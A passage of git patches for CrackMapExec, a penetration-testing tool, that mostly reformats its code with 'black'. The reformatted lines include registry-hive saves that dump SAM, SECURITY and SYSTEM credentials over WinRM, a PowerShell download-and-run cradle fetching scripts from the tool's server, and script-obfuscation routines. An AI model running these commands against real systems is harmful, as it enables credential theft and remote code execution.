impacket.smbconnection import SMBConnection, SessionError +from impacket.smbconnection import SMBConnection from cme.config import process_secret from cme.connection import * -from cme.helpers.logger import highlight from cme.helpers.bloodhound import add_user_bh from cme.protocols.ldap.smbldap import LDAPConnect from cme.logger import CMEAdapter from pypsrp.client import Client from impacket.examples.secretsdump import LocalOperations, LSASecrets, SAMHashes -import logging - -# The following disables the InsecureRequests warning and the 'Starting new HTTPS connection' log message -# from requests.packages.urllib3.exceptions import InsecureRequestWarning -# -# requests.packages.urllib3.disable_warnings(InsecureRequestWarning) - - -# class SuppressFilter(logging.Filter): -# # remove warning https://github.com/diyan/pywinrm/issues/269 -# def filter(self, record): -# return "wsman" not in record.getMessage() class winrm(connection): @@ -59,7 +46,10 @@ class winrm(connection): winrm_parser.add_argument( "--no-bruteforce", action="store_true", - help="No spray when using file for username and password (user1 => password1, user2 => password2", + help=( + "No spray when using file for username and password (user1 =>" + " password1, user2 => password2" + ), ) winrm_parser.add_argument( "--continue-on-success", @@ -273,7 +263,8 @@ class winrm(connection): } if "mslaps-encryptedpassword" in values: self.logger.fail( - "LAPS password is encrypted and currently CrackMapExec doesn't support the decryption..." + "LAPS password is encrypted and currently CrackMapExec doesn't" + " support the decryption..." ) return False elif "mslaps-password" in values: @@ -286,7 +277,8 @@ class winrm(connection): msMCSAdmPwd = values["ms-mcs-admpwd"] else: self.logger.fail( - "No result found with attribute ms-MCS-AdmPwd or msLAPS-Password" + "No result found with attribute ms-MCS-AdmPwd or" + " msLAPS-Password" ) self.logger.debug( "Host: {:<20} Password: {} {}".format( @@ -295,9 +287,8 @@ class winrm(connection): ) else: self.logger.fail( - "msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for {}".format( - self.hostname - ) + "msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS" + " property for {}".format(self.hostname) ) return False @@ -306,9 +297,8 @@ class winrm(connection): if msMCSAdmPwd == "": self.logger.fail( - "msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for {}".format( - self.hostname - ) + "msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS" + " property for {}".format(self.hostname) ) return False if ntlm_hash: @@ -347,7 +337,8 @@ class winrm(connection): self.logger.debug(f"winrm create_conn_obj() - Requesting URL: {url}") res = requests.post(url, verify=False, timeout=self.args.http_timeout) self.logger.debug( - f"winrm create_conn_obj() - Received response code: {res.status_code}" + "winrm create_conn_obj() - Received response code:" + f" {res.status_code}" ) self.endpoint = url if self.endpoint.startswith("https://"): @@ -526,7 +517,8 @@ class winrm(connection): r = self.conn.execute_cmd(self.args.execute) except: self.logger.info( - "Cannot execute command, probably because user is not local admin, but powershell command should be ok!" + "Cannot execute command, probably because user is not local admin, but" + " powershell command should be ok!" ) r = self.conn.execute_ps(self.args.execute) self.logger.success("Executed command") @@ -539,7 +531,8 @@ class winrm(connection): def sam(self): self.conn.execute_cmd( - "reg save HKLM\SAM C:\\windows\\temp\\SAM && reg save HKLM\SYSTEM C:\\windows\\temp\\SYSTEM" + "reg save HKLM\SAM C:\\windows\\temp\\SAM && reg save HKLM\SYSTEM" + " C:\\windows\\temp\\SYSTEM" ) self.conn.fetch("C:\\windows\\temp\\SAM", self.output_filename + ".sam") self.conn.fetch("C:\\windows\\temp\\SYSTEM", self.output_filename + ".system") @@ -560,7 +553,8 @@ class winrm(connection): def lsa(self): self.conn.execute_cmd( - "reg save HKLM\SECURITY C:\\windows\\temp\\SECURITY && reg save HKLM\SYSTEM C:\\windows\\temp\\SYSTEM" + "reg save HKLM\SECURITY C:\\windows\\temp\\SECURITY && reg save HKLM\SYSTEM" + " C:\\windows\\temp\\SYSTEM" ) self.conn.fetch( "C:\\windows\\temp\\SECURITY", f"{self.output_filename}.security" From a0d6e64f8f3b81d6b7ae9052c551b06fb20d6e5e Mon Sep 17 00:00:00 2001 From: mpgn Date: Mon, 8 May 2023 14:39:36 -0400 Subject: [PATCH 49/76] black v2 formating --- .github/workflows/black-formating.yml | 2 +- build_collector.py | 8 +- cme/cli.py | 28 +- cme/cmedb.py | 42 +-- cme/connection.py | 89 ++--- cme/crackmapexec.py | 41 +-- cme/first_run.py | 4 +- cme/helpers/bloodhound.py | 20 +- cme/helpers/misc.py | 6 +- cme/helpers/powershell.py | 258 ++------------ cme/loaders/moduleloader.py | 16 +- cme/logger.py | 32 +- cme/modules/IOXIDResolver.py | 4 +- cme/modules/MachineAccountQuota.py | 4 +- cme/modules/adcs.py | 22 +- cme/modules/bh_owned.py | 27 +- cme/modules/daclread.py | 190 +++-------- cme/modules/dfscoerce.py | 12 +- cme/modules/drop-sc.py | 39 +-- cme/modules/empire_exec.py | 18 +- cme/modules/enum_av.py | 32 +- cme/modules/enum_dns.py | 8 +- cme/modules/example_module.py | 4 +- cme/modules/firefox.py | 4 +- cme/modules/get-desc-users.py | 33 +- cme/modules/get_netconnections.py | 12 +- cme/modules/gpp_password.py | 12 +- cme/modules/groupmembership.py | 16 +- cme/modules/handlekatz.py | 69 +--- cme/modules/hash_spider.py | 113 ++---- cme/modules/impersonate.py | 20 +- cme/modules/install_elevated.py | 16 +- cme/modules/keepass_discover.py | 20 +- cme/modules/keepass_trigger.py | 288 ++++------------ cme/modules/laps.py | 39 +-- cme/modules/ldap-checker.py | 52 +-- cme/modules/lsassy_dump.py | 37 +- cme/modules/masky.py | 23 +- cme/modules/ms17-010.py | 4 +- cme/modules/msol.py | 12 +- cme/modules/mssql_priv.py | 32 +- cme/modules/nanodump.py | 100 ++---- cme/modules/nopac.py | 8 +- cme/modules/ntdsutil.py | 77 +---- cme/modules/ntlmv1.py | 8 +- cme/modules/output-test.py | 33 ++ cme/modules/petitpotam.py | 20 +- cme/modules/printnightmare.py | 24 +- cme/modules/procdump.py | 71 +--- cme/modules/rdcman.py | 26 +- cme/modules/rdp.py | 8 +- cme/modules/reg-query.py | 58 +--- cme/modules/scan-network.py | 64 +--- cme/modules/scuffy.py | 20 +- cme/modules/shadowcoerce.py | 24 +- cme/modules/slinky.py | 20 +- cme/modules/spider_plus.py | 44 +-- cme/modules/spooler.py | 35 +- cme/modules/subnets.py | 69 +--- cme/modules/teams_localdb.py | 12 +- cme/modules/uac.py | 4 +- cme/modules/user_desc.py | 28 +- cme/modules/veeam_dump.py | 39 +-- cme/modules/wdigest.py | 12 +- cme/modules/web_delivery.py | 4 +- cme/modules/webdav.py | 4 +- cme/modules/whoami.py | 12 +- cme/modules/winscp_dump.py | 115 ++----- cme/modules/wireless.py | 15 +- cme/modules/zerologon.py | 25 +- cme/parsers/ip.py | 5 +- cme/parsers/nmap.py | 4 +- cme/paths.py | 4 +- cme/protocols/ftp.py | 8 +- cme/protocols/ftp/database.py | 15 +- cme/protocols/ftp/db_navigator.py | 7 +- cme/protocols/ldap.py | 359 +++++-------------- cme/protocols/ldap/bloodhound.py | 28 +- cme/protocols/ldap/database.py | 15 +- cme/protocols/ldap/db_navigator.py | 7 +- cme/protocols/ldap/gmsa.py | 19 +- cme/protocols/ldap/kerberos.py | 84 ++--- cme/protocols/ldap/smbldap.py | 24 +- cme/protocols/mssql.py | 103 ++---- cme/protocols/mssql/database.py | 52 +-- cme/protocols/mssql/db_navigator.py | 7 +- cme/protocols/mssql/mssqlexec.py | 43 +-- cme/protocols/rdp.py | 170 ++------- cme/protocols/rdp/database.py | 15 +- cme/protocols/rdp/db_navigator.py | 7 +- cme/protocols/smb.py | 473 +++++++------------------- cme/protocols/smb/atexec.py | 16 +- cme/protocols/smb/database.py | 161 +++------ cme/protocols/smb/db_navigator.py | 32 +- cme/protocols/smb/firefox.py | 56 +-- cme/protocols/smb/mmcexec.py | 50 +-- cme/protocols/smb/passpol.py | 30 +- cme/protocols/smb/remotefile.py | 8 +- cme/protocols/smb/samrfunc.py | 34 +- cme/protocols/smb/samruser.py | 22 +- cme/protocols/smb/smbexec.py | 25 +- cme/protocols/smb/smbspider.py | 43 +-- cme/protocols/smb/wmiexec.py | 18 +- cme/protocols/ssh.py | 46 +-- cme/protocols/ssh/database.py | 101 ++---- cme/protocols/ssh/db_navigator.py | 48 +-- cme/protocols/vnc.py | 44 +-- cme/protocols/vnc/database.py | 15 +- cme/protocols/vnc/db_navigator.py | 7 +- cme/protocols/winrm.py | 186 +++------- cme/protocols/winrm/database.py | 68 +--- cme/protocols/winrm/db_navigator.py | 11 +- cme/servers/http.py | 20 +- cme/servers/smb.py | 4 +- tests/e2e_test.py | 15 +- tests/test_smb_database.py | 4 +- 116 files changed, 1191 insertions(+), 4009 deletions(-) create mode 100644 cme/modules/output-test.py diff --git a/.github/workflows/black-formating.yml b/.github/workflows/black-formating.yml index ff187e7e..babdea8c 100644 --- a/.github/workflows/black-formating.yml +++ b/.github/workflows/black-formating.yml @@ -8,4 +8,4 @@ jobs: - uses: actions/checkout@v2 - uses: rickstaa/action-black@v1 with: - black_args: ". --check" \ No newline at end of file + black_args: ". --line-length 1000 --check" \ No newline at end of file diff --git a/build_collector.py b/build_collector.py index e8275cb2..ac7aea63 100644 --- a/build_collector.py +++ b/build_collector.py @@ -52,9 +52,7 @@ def build_cme(): [shutil.rmtree(p) for p in Path("build").glob("**/*.dist-info")] env = Environment( - built_at=datetime.utcfromtimestamp(int(time.time())).strftime( - "%Y-%m-%d %H:%M:%S" - ), + built_at=datetime.utcfromtimestamp(int(time.time())).strftime("%Y-%m-%d %H:%M:%S"), entry_point="cme.crackmapexec:main", script=None, compile_pyc=False, @@ -74,9 +72,7 @@ def build_cme(): def build_cmedb(): print("building CMEDB") env = Environment( - built_at=datetime.utcfromtimestamp(int(time.time())).strftime( - "%Y-%m-%d %H:%M:%S" - ), + built_at=datetime.utcfromtimestamp(int(time.time())).strftime("%Y-%m-%d %H:%M:%S"), entry_point="cme.cmedb:main", script=None, compile_pyc=False, diff --git a/cme/cli.py b/cme/cli.py index 940bae85..67baf27a 100755 --- a/cme/cli.py +++ b/cme/cli.py @@ -63,14 +63,10 @@ def gen_cli_args(): ) parser.add_argument("--darrell", action="store_true", help="give Darrell a hand") parser.add_argument("--verbose", action="store_true", help="enable verbose output") - parser.add_argument( - "--debug", action="store_true", help="enable debug level information" - ) + parser.add_argument("--debug", action="store_true", help="enable debug level information") parser.add_argument("--version", action="store_true", help="Display CME version") - subparsers = parser.add_subparsers( - title="protocols", dest="protocol", description="available protocols" - ) + subparsers = parser.add_subparsers(title="protocols", dest="protocol", description="available protocols") std_parser = argparse.ArgumentParser(add_help=False) std_parser.add_argument( @@ -104,17 +100,13 @@ def gen_cli_args(): default=[], help="password(s) or file(s) containing passwords", ) - std_parser.add_argument( - "-k", "--kerberos", action="store_true", help="Use Kerberos authentication" - ) + std_parser.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication") std_parser.add_argument( "--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)", ) - std_parser.add_argument( - "--log", metavar="LOG", help="Export result into a custom file" - ) + std_parser.add_argument("--log", metavar="LOG", help="Export result into a custom file") std_parser.add_argument( "--aesKey", metavar="AESKEY", @@ -149,9 +141,7 @@ def gen_cli_args(): module_parser = argparse.ArgumentParser(add_help=False) mgroup = module_parser.add_mutually_exclusive_group() - mgroup.add_argument( - "-M", "--module", action="append", metavar="MODULE", help="module to use" - ) + mgroup.add_argument("-M", "--module", action="append", metavar="MODULE", help="module to use") module_parser.add_argument( "-o", metavar="MODULE_OPTION", @@ -160,9 +150,7 @@ def gen_cli_args(): dest="module_options", help="module options", ) - module_parser.add_argument( - "-L", "--list-modules", action="store_true", help="list available modules" - ) + module_parser.add_argument("-L", "--list-modules", action="store_true", help="list available modules") module_parser.add_argument( "--options", dest="show_module_options", @@ -197,9 +185,7 @@ def gen_cli_args(): for protocol in protocols.keys(): protocol_object = p_loader.load_protocol(protocols[protocol]["path"]) - subparsers = getattr(protocol_object, protocol).proto_args( - subparsers, std_parser, module_parser - ) + subparsers = getattr(protocol_object, protocol).proto_args(subparsers, std_parser, module_parser) if len(sys.argv) == 1: parser.print_help() diff --git a/cme/cmedb.py b/cme/cmedb.py index 59287af4..f2c2a6f4 100644 --- a/cme/cmedb.py +++ b/cme/cmedb.py @@ -27,9 +27,7 @@ class UserExitedProto(Exception): def create_db_engine(db_path): - db_engine = create_engine( - f"sqlite:///{db_path}", isolation_level="AUTOCOMMIT", future=True - ) + db_engine = create_engine(f"sqlite:///{db_path}", isolation_level="AUTOCOMMIT", future=True) return db_engine @@ -135,9 +133,7 @@ class DatabaseNavigator(cmd.Cmd): # Users if command == "creds": if len(line) < 3: - print( - "[-] invalid arguments, export creds " - ) + print("[-] invalid arguments, export creds ") return filename = line[2] @@ -177,9 +173,7 @@ class DatabaseNavigator(cmd.Cmd): # Hosts elif command == "hosts": if len(line) < 3: - print( - "[-] invalid arguments, export hosts " - ) + print("[-] invalid arguments, export hosts ") return csv_header_simple = ( @@ -226,9 +220,7 @@ class DatabaseNavigator(cmd.Cmd): # Shares elif command == "shares": if len(line) < 3: - print( - "[-] invalid arguments, export shares " - ) + print("[-] invalid arguments, export shares ") return shares = self.db.get_shares() @@ -262,9 +254,7 @@ class DatabaseNavigator(cmd.Cmd): # Local Admin elif command == "local_admins": if len(line) < 3: - print( - "[-] invalid arguments, export local_admins " - ) + print("[-] invalid arguments, export local_admins ") return # These values don't change between simple and detailed @@ -293,9 +283,7 @@ class DatabaseNavigator(cmd.Cmd): print("[+] Local Admins exported") elif command == "dpapi": if len(line) < 3: - print( - "[-] invalid arguments, export dpapi " - ) + print("[-] invalid arguments, export dpapi ") return # These values don't change between simple and detailed @@ -341,9 +329,7 @@ class DatabaseNavigator(cmd.Cmd): filename = line[2] write_list(filename, writable_keys) else: - print( - "[-] Invalid argument, specify creds, hosts, local_admins, shares or dpapi" - ) + print("[-] Invalid argument, specify creds, hosts, local_admins, shares or dpapi") @staticmethod def help_export(): @@ -391,11 +377,7 @@ class DatabaseNavigator(cmd.Cmd): creds = r.json() for cred in creds["creds"]: - if ( - cred["credtype"] == "token" - or cred["credtype"] == "krbtgt" - or cred["username"].endswith("$") - ): + if cred["credtype"] == "token" or cred["credtype"] == "krbtgt" or cred["username"].endswith("$"): continue self.db.add_credential( cred["credtype"], @@ -449,9 +431,7 @@ class CMEDBMenu(cmd.Cmd): self.config.set("CME", "last_used_db", proto) self.write_configfile() try: - proto_menu = getattr(db_nav_object, "navigator")( - self, getattr(db_object, "database")(self.conn), proto - ) + proto_menu = getattr(db_nav_object, "navigator")(self, getattr(db_object, "database")(self.conn), proto) proto_menu.cmdloop() except UserExitedProto: pass @@ -553,9 +533,7 @@ def initialize_db(logger): conn = connect(proto_db_path) c = conn.cursor() # try to prevent some weird sqlite I/O errors - c.execute( - "PRAGMA journal_mode = OFF" - ) # could try setting to PERSIST if DB corruption starts occurring + c.execute("PRAGMA journal_mode = OFF") # could try setting to PERSIST if DB corruption starts occurring c.execute("PRAGMA foreign_keys = 1") # set a small timeout (5s) so if another thread is writing to the database, the entire program doesn't crash c.execute("PRAGMA busy_timeout = 5000") diff --git a/cme/connection.py b/cme/connection.py index 49f10b16..fb4d4989 100755 --- a/cme/connection.py +++ b/cme/connection.py @@ -96,9 +96,7 @@ class connection(object): try: self.proto_flow() except Exception as e: - self.logger.exception( - f"Exception while calling proto_flow() on target {self.host}: {e}" - ) + self.logger.exception(f"Exception while calling proto_flow() on target {self.host}: {e}") @staticmethod def proto_args(std_parser, module_parser): @@ -174,9 +172,7 @@ class connection(object): context.localip = self.local_ip if hasattr(module, "on_request") or hasattr(module, "has_response"): - self.logger.debug( - f"Module {module.name} has on_request or has_response methods" - ) + self.logger.debug(f"Module {module.name} has on_request or has_response methods") self.server.connection = self self.server.context.localip = self.local_ip @@ -188,10 +184,7 @@ class connection(object): self.logger.debug(f"Module {module.name} has on_admin_login method") module.on_admin_login(context, self) - if ( - not hasattr(module, "on_request") - and not hasattr(module, "has_response") - ) and hasattr(module, "on_shutdown"): + if (not hasattr(module, "on_request") and not hasattr(module, "has_response")) and hasattr(module, "on_shutdown"): self.logger.debug(f"Module {module.name} has on_shutdown method") module.on_shutdown(context, self) @@ -237,9 +230,7 @@ class connection(object): c_id, username, password, cred_type = cred if cred_type == "key": key_data = self.db.get_keys(cred_id=cred_id)[0].data - if self.plaintext_login( - username, password, private_key=key_data - ): + if self.plaintext_login(username, password, private_key=key_data): return True else: # will probably need to add additional checks here for each protocol, but this was initially @@ -262,9 +253,7 @@ class connection(object): elif self.args.domain: domain = self.args.domain - if cred_type == "hash" and not self.over_fail_limit( - username - ): + if cred_type == "hash" and not self.over_fail_limit(username): if self.args.kerberos: if self.kerberos_login( domain, @@ -278,9 +267,7 @@ class connection(object): return True elif self.hash_login(domain, username, password): return True - elif cred_type == "plaintext" and not self.over_fail_limit( - username - ): + elif cred_type == "plaintext" and not self.over_fail_limit(username): if self.args.kerberos: if self.kerberos_login( domain, @@ -300,9 +287,7 @@ class connection(object): with sem: username = self.args.username[0] if len(self.args.username) else "" password = self.args.password[0] if len(self.args.password) else "" - self.kerberos_login( - self.domain, username, password, "", "", self.kdcHost, True - ) + self.kerberos_login(self.domain, username, password, "", "", self.kdcHost, True) return True for user in self.args.username: if isfile(user): @@ -319,9 +304,7 @@ class connection(object): with open(ntlm_hash, "r") as ntlm_hash_file: if not self.args.no_bruteforce: for f_hash in ntlm_hash_file: - if not self.over_fail_limit( - usr.strip() - ): + if not self.over_fail_limit(usr.strip()): if self.args.kerberos: if self.kerberos_login( self.domain, @@ -340,15 +323,9 @@ class connection(object): ): return True elif self.args.no_bruteforce: - user_file.seek( - 0 - ) # HACK: this should really not be in the usr for loop - for usr, f_hash in zip( - user_file, ntlm_hash_file - ): - if not self.over_fail_limit( - usr.strip() - ): + user_file.seek(0) # HACK: this should really not be in the usr for loop + for usr, f_hash in zip(user_file, ntlm_hash_file): + if not self.over_fail_limit(usr.strip()): if self.args.kerberos: if self.kerberos_login( self.domain, @@ -392,9 +369,7 @@ class connection(object): with open(password, "r") as password_file: if not self.args.no_bruteforce: for f_pass in password_file: - if not self.over_fail_limit( - usr.strip() - ): + if not self.over_fail_limit(usr.strip()): if hasattr(self.args, "domain"): if self.args.kerberos: if self.kerberos_login( @@ -420,15 +395,9 @@ class connection(object): ): return True elif self.args.no_bruteforce: - user_file.seek( - 0 - ) # HACK: this should really not be in the usr for loop - for usr, f_pass in zip( - user_file, password_file - ): - if not self.over_fail_limit( - usr.strip() - ): + user_file.seek(0) # HACK: this should really not be in the usr for loop + for usr, f_pass in zip(user_file, password_file): + if not self.over_fail_limit(usr.strip()): if hasattr(self.args, "domain"): if self.args.kerberos: if self.kerberos_login( @@ -467,14 +436,10 @@ class connection(object): False, ): return True - elif self.plaintext_login( - self.domain, usr.strip(), password - ): + elif self.plaintext_login(self.domain, usr.strip(), password): return True else: - if self.plaintext_login( - usr.strip(), password - ): + if self.plaintext_login(usr.strip(), password): return True else: # user is a string if hasattr(self.args, "hash") and self.args.hash: @@ -495,9 +460,7 @@ class connection(object): False, ): return True - elif self.hash_login( - self.domain, user, f_hash.strip() - ): + elif self.hash_login(self.domain, user, f_hash.strip()): return True else: # ntlm_hash is a string if not self.over_fail_limit(user): @@ -512,9 +475,7 @@ class connection(object): False, ): return True - elif self.hash_login( - self.domain, user, ntlm_hash.strip() - ): + elif self.hash_login(self.domain, user, ntlm_hash.strip()): return True elif self.args.password: with sem: @@ -535,14 +496,10 @@ class connection(object): False, ): return True - elif self.plaintext_login( - self.domain, user, f_pass.strip() - ): + elif self.plaintext_login(self.domain, user, f_pass.strip()): return True else: - if self.plaintext_login( - user, f_pass.strip() - ): + if self.plaintext_login(user, f_pass.strip()): return True else: # password is a string if not self.over_fail_limit(user): @@ -558,9 +515,7 @@ class connection(object): False, ): return True - elif self.plaintext_login( - self.domain, user, password - ): + elif self.plaintext_login(self.domain, user, password): return True else: if self.plaintext_login(user, password): diff --git a/cme/crackmapexec.py b/cme/crackmapexec.py index d7e70782..a9108b18 100755 --- a/cme/crackmapexec.py +++ b/cme/crackmapexec.py @@ -32,16 +32,12 @@ from rich.progress import Progress try: import librlers except: - print( - "Incompatible python version, try with another python version or another binary 3.8 / 3.9 / 3.10 / 3.11 that match your python version (python -V)" - ) + print("Incompatible python version, try with another python version or another binary 3.8 / 3.9 / 3.10 / 3.11 that match your python version (python -V)") exit(1) def create_db_engine(db_path): - db_engine = sqlalchemy.create_engine( - f"sqlite:///{db_path}", isolation_level="AUTOCOMMIT", future=True - ) + db_engine = sqlalchemy.create_engine(f"sqlite:///{db_path}", isolation_level="AUTOCOMMIT", future=True) return db_engine @@ -61,10 +57,7 @@ async def start_run(protocol_obj, args, db, targets): total=total, ) cme_logger.debug(f"Creating thread for {protocol_obj}") - futures = [ - executor.submit(protocol_obj, args, db, target) - for target in targets - ] + futures = [executor.submit(protocol_obj, args, db, target) for target in targets] for future in as_completed(futures): current += 1 progress.update(tasks, completed=current) @@ -95,9 +88,7 @@ def main(): cme_logger.debug(f"Passed args: {args}") if args.darrell: - links = ( - open(path_join(DATA_PATH, "videos_for_darrell.harambe")).read().splitlines() - ) + links = open(path_join(DATA_PATH, "videos_for_darrell.harambe")).read().splitlines() try: webbrowser.open(random.choice(links)) exit(1) @@ -108,9 +99,7 @@ def main(): if args.protocol == "ssh": if args.key_file: if not args.password: - cme_logger.fail( - f"Password is required, even if a key file is used - if no passphrase for key, use `-p ''`" - ) + cme_logger.fail(f"Password is required, even if a key file is used - if no passphrase for key, use `-p ''`") exit(1) if args.use_kcache and not os.environ.get("KRB5CCNAME"): @@ -189,9 +178,7 @@ def main(): exit(0) elif args.module and args.show_module_options: for module in args.module: - cme_logger.display( - f"{module} module options:\n{modules[module]['options']}" - ) + cme_logger.display(f"{module} module options:\n{modules[module]['options']}") exit(0) elif args.module: cme_logger.debug(f"Modules to be Loaded: {args.module}, {type(args.module)}") @@ -205,12 +192,8 @@ def main(): if not module.opsec_safe: if ignore_opsec: - cme_logger.debug( - f"ignore_opsec is set in the configuration, skipping prompt" - ) - cme_logger.display( - f"Ignore OPSEC in configuration is set and OPSEC unsafe module loaded" - ) + cme_logger.debug(f"ignore_opsec is set in the configuration, skipping prompt") + cme_logger.display(f"Ignore OPSEC in configuration is set and OPSEC unsafe module loaded") else: ans = input( highlight( @@ -254,17 +237,13 @@ def main(): except Exception as e: cme_logger.error(f"Error loading module server for {module}: {e}") - cme_logger.debug( - f"proto_object: {protocol_object}, type: {type(protocol_object)}" - ) + cme_logger.debug(f"proto_object: {protocol_object}, type: {type(protocol_object)}") cme_logger.debug(f"proto object dir: {dir(protocol_object)}") # get currently set modules, otherwise default to empty list current_modules = getattr(protocol_object, "module", []) current_modules.append(module) setattr(protocol_object, "module", current_modules) - cme_logger.debug( - f"proto object module after adding: {protocol_object.module}" - ) + cme_logger.debug(f"proto object module after adding: {protocol_object.module}") if hasattr(args, "ntds") and args.ntds and not args.userntds: ans = input( diff --git a/cme/first_run.py b/cme/first_run.py index bb2e2821..3a6267a7 100755 --- a/cme/first_run.py +++ b/cme/first_run.py @@ -51,9 +51,7 @@ def first_run_setup(logger=cme_logger): config.get("BloodHound", "bh_enabled") config.get("CME", "log_mode") except (NoSectionError, NoOptionError): - logger.display( - "Old configuration file detected, replacing with new version" - ) + logger.display("Old configuration file detected, replacing with new version") default_path = path_join(DATA_PATH, "cme.conf") shutil.copy(default_path, CME_PATH) diff --git a/cme/helpers/bloodhound.py b/cme/helpers/bloodhound.py index ac291031..89bb4ce0 100644 --- a/cme/helpers/bloodhound.py +++ b/cme/helpers/bloodhound.py @@ -36,24 +36,14 @@ def add_user_bh(user, domain, logger, config): user_owned = info["username"] + "@" + info["domain"] account_type = "User" - result = tx.run( - f'MATCH (c:{account_type} {{name:"{user_owned}"}}) RETURN c' - ) + result = tx.run(f'MATCH (c:{account_type} {{name:"{user_owned}"}}) RETURN c') if result.data()[0]["c"].get("owned") in (False, None): - logger.debug( - f'MATCH (c:{account_type} {{name:"{user_owned}"}}) SET c.owned=True RETURN c.name AS name' - ) - result = tx.run( - f'MATCH (c:{account_type} {{name:"{user_owned}"}}) SET c.owned=True RETURN c.name AS name' - ) - logger.highlight( - f"Node {user_owned} successfully set as owned in BloodHound" - ) + logger.debug(f'MATCH (c:{account_type} {{name:"{user_owned}"}}) SET c.owned=True RETURN c.name AS name') + result = tx.run(f'MATCH (c:{account_type} {{name:"{user_owned}"}}) SET c.owned=True RETURN c.name AS name') + logger.highlight(f"Node {user_owned} successfully set as owned in BloodHound") except AuthError as e: - logger.error( - f"Provided Neo4J credentials ({config.get('BloodHound', 'bh_user')}:{config.get('BloodHound', 'bh_pass')}) are not valid." - ) + logger.error(f"Provided Neo4J credentials ({config.get('BloodHound', 'bh_user')}:{config.get('BloodHound', 'bh_pass')}) are not valid.") return except ServiceUnavailable as e: logger.error(f"Neo4J does not seem to be available on {uri}.") diff --git a/cme/helpers/misc.py b/cme/helpers/misc.py index b88a701e..7d956750 100755 --- a/cme/helpers/misc.py +++ b/cme/helpers/misc.py @@ -36,11 +36,7 @@ def called_from_cmd_args(): for stack in inspect.stack(): if stack[3] == "print_host_info": return True - if ( - stack[3] == "plaintext_login" - or stack[3] == "hash_login" - or stack[3] == "kerberos_login" - ): + if stack[3] == "plaintext_login" or stack[3] == "hash_login" or stack[3] == "kerberos_login": return True if stack[3] == "call_cmd_args": return True diff --git a/cme/helpers/powershell.py b/cme/helpers/powershell.py index 7392fb12..6d5bc08f 100644 --- a/cme/helpers/powershell.py +++ b/cme/helpers/powershell.py @@ -39,17 +39,13 @@ def obfs_ps_script(path_to_script): with open(obfs_ps_script, "r") as script: return script.read() - cme_logger.display( - "Performing one-time script obfuscation, go look at some memes cause this can take a bit..." - ) + cme_logger.display("Performing one-time script obfuscation, go look at some memes cause this can take a bit...") invoke_obfs_command = f"powershell -C 'Import-Module {get_ps_script('invoke-obfuscation/Invoke-Obfuscation.psd1')};Invoke-Obfuscation -ScriptPath {get_ps_script(path_to_script)} -Command \"TOKEN,ALL,1,OUT {obfs_ps_script}\" -Quiet'" cme_logger.debug(invoke_obfs_command) with open(os.devnull, "w") as devnull: - return_code = call( - invoke_obfs_command, stdout=devnull, stderr=devnull, shell=True - ) + return_code = call(invoke_obfs_command, stdout=devnull, stderr=devnull, shell=True) cme_logger.success("Script obfuscated successfully") @@ -65,18 +61,7 @@ def obfs_ps_script(path_to_script): # strip block comments stripped_code = re.sub(re.compile("<#.*?#>", re.DOTALL), "", script.read()) # strip blank lines, lines starting with #, and verbose/debug statements - stripped_code = "\n".join( - [ - line - for line in stripped_code.split("\n") - if ( - (line.strip() != "") - and (not line.strip().startswith("#")) - and (not line.strip().lower().startswith("write-verbose ")) - and (not line.strip().lower().startswith("write-debug ")) - ) - ] - ) + stripped_code = "\n".join([line for line in stripped_code.split("\n") if ((line.strip() != "") and (not line.strip().startswith("#")) and (not line.strip().lower().startswith("write-verbose ")) and (not line.strip().lower().startswith("write-debug ")))]) return stripped_code @@ -167,18 +152,14 @@ else break if obfs_attempts == 4: - cme_logger.error( - f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting." - ) + cme_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.") exit(1) obfs_attempts += 1 else: command = f"powershell.exe -noni -nop -w 1 -enc {encode_ps_command(command)}" if len(command) > 8191: - cme_logger.error( - f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting." - ) + cme_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.") exit(1) return command @@ -221,9 +202,7 @@ if (($injected -eq $False) -or ($inject_once -eq $False)){{ ) if context: - return gen_ps_iex_cradle( - context, "Invoke-PSInject.ps1", ps_code, post_back=False - ) + return gen_ps_iex_cradle(context, "Invoke-PSInject.ps1", ps_code, post_back=False) return ps_code @@ -244,9 +223,7 @@ IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/{ps_scri ).strip() elif type(scripts) is list: - launcher = ( - "[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}\n" - ) + launcher = "[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}\n" launcher += "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]'Ssl3,Tls,Tls11,Tls12'" for script in scripts: launcher += "IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/{script}')\n".format( @@ -309,9 +286,7 @@ def invoke_obfuscation(script_string): random_delimiters.append(i) # Only use a subset of current delimiters to randomize what you see in every iteration of this script's output. - random_delimiters = [ - choice(random_delimiters) for _ in range(int(len(random_delimiters) / 4)) - ] + random_delimiters = [choice(random_delimiters) for _ in range(int(len(random_delimiters) / 4))] # Convert $ScriptString to delimited ASCII values in [Char] array separated by random delimiter from defined list $RandomDelimiters. delimited_encoded_array = "" @@ -339,35 +314,13 @@ def invoke_obfuscation(script_string): for delim in random_delimiters: # Random case 'split' string. split = "".join(choice([i.upper(), i.lower()]) for i in "Split") - random_delimiters_to_print_for_dash_split += ( - "-" + split + choice(["", " "]) + "'" + delim + "'" + choice(["", " "]) - ) + random_delimiters_to_print_for_dash_split += "-" + split + choice(["", " "]) + "'" + delim + "'" + choice(["", " "]) - random_delimiters_to_print_for_dash_split = ( - random_delimiters_to_print_for_dash_split.strip("\t\n\r") - ) + random_delimiters_to_print_for_dash_split = random_delimiters_to_print_for_dash_split.strip("\t\n\r") # Randomly select between various conversion syntax options. random_conversion_syntax = [ - "[" - + char_str - + "]" - + choice(["", " "]) - + "[" - + integer - + "]" - + choice(["", " "]) - + "$_", - "[" - + integer - + "]" - + choice(["", " "]) - + "$_" - + choice(["", " "]) - + choice(["-as", "-As", "-aS", "-AS"]) - + choice(["", " "]) - + "[" - + char_str - + "]", + "[" + char_str + "]" + choice(["", " "]) + 